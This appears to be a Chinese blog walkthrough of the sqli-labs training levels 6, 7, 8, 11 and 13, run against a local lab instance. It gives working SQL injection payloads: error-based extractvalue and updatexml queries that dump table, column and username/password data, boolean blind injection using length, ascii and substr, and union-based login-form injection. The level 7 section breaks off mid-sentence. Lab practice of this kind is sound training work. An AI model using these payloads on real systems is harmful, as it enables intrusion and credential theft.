sql复现

目录

less6

less7

Less8

 Less11

Less13


less6

进入靶场第关。加入参数id

字符串型,数字型都报错,尝试报错注入​​​​​​查询数据库

http://localhost/sqli-labs-php7-master/Less-6?id=1" and extractvalue(1,concat(0x7e,(select database()),0x7e)) --+

查询数据库下表

http://localhost/sqli-labs-php7-master/Less-6/?id=1%22%20and%20extractvalue(1,concat(0x7e,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27),0x7e))%20--+

查看users表下字段:

http://localhost/sqli-labs-php7-master/Less-6/?id=1%22%20and%20extractvalue(1,concat(0x7e,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27),0x7e))%20--+

 

 查看字段下的所有数据

http://localhost/sqli-labs-php7-master/Less-6/?id=1%22%20%20and%20extractvalue(1,concat(0x7e,(select%20group_concat(id,0x7e,username,0x7e,password)%20from%20users),0x7e))%20--+

less7

进入靶场第七关。加入参数id

判断闭合为 -存在'))闭合

使用联合查询 union select 将一句话木

Less8

使用 ')) 来闭合,但是它却没有报错

 ​​​​

输入id为1,则会显示

 

针对这种的显示,无论是联合查询还是报错注入都无法注入成功的,这里就要使用布尔盲注了,这种页面只会显示成功和错误两个状态的页面,可以通过布尔盲注来不断尝试猜测出数据,并且我们可以使用多种方法来注入: 手工注入和sqlmap工具

利用函数我们可以通过不断的变换范围来观察页面的响应来不断判断,直到判断到最后可以确定到一个值,比如我们可以先使用 length函数 + 二分法来尝试一下

?id=1' and (select length(database())>1) and 1=1  --+ //true
?id=1' and (select length(database())>10) and 1=1  --+  //flase
?id=1' and (select length(database())>5) and 1=1  --+ //true
?id=1' and (select length(database())>6) and 1=1  --+ //true
?id=1' and (select length(database())>8) and 1=1  --+ //flase

 

最终可以得到数据库的名称的长度为7, 得到了数据库的长度后 我们就可以再利用ascii函数+substr函数来修改字符串的范围 最终判断数据库的各个字符的ascii的值 最终就可以得到完整的数据库名称 比如:

?id=1' and ((select ascii(substr(database(),1,1)))>100) --+ //true
?id=1' and ((select ascii(substr(database(),1,1)))>200) --+ //flase

 Less11

输入1报错了存在注入

aaa' union select 1,2 #
aaa

 

输入的用户名和密码属于第1列和第2列

aaa' union select 1,database() #
aaa

Less13

我们尝试闭合一下 '),可以看到这里报错了,说明存在注入点

 

 查询数据库名

admin') union select updatexml(1,concat(0x7e,(database()),0x7e),1) #

 

查询数据库表名

admin') union select updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值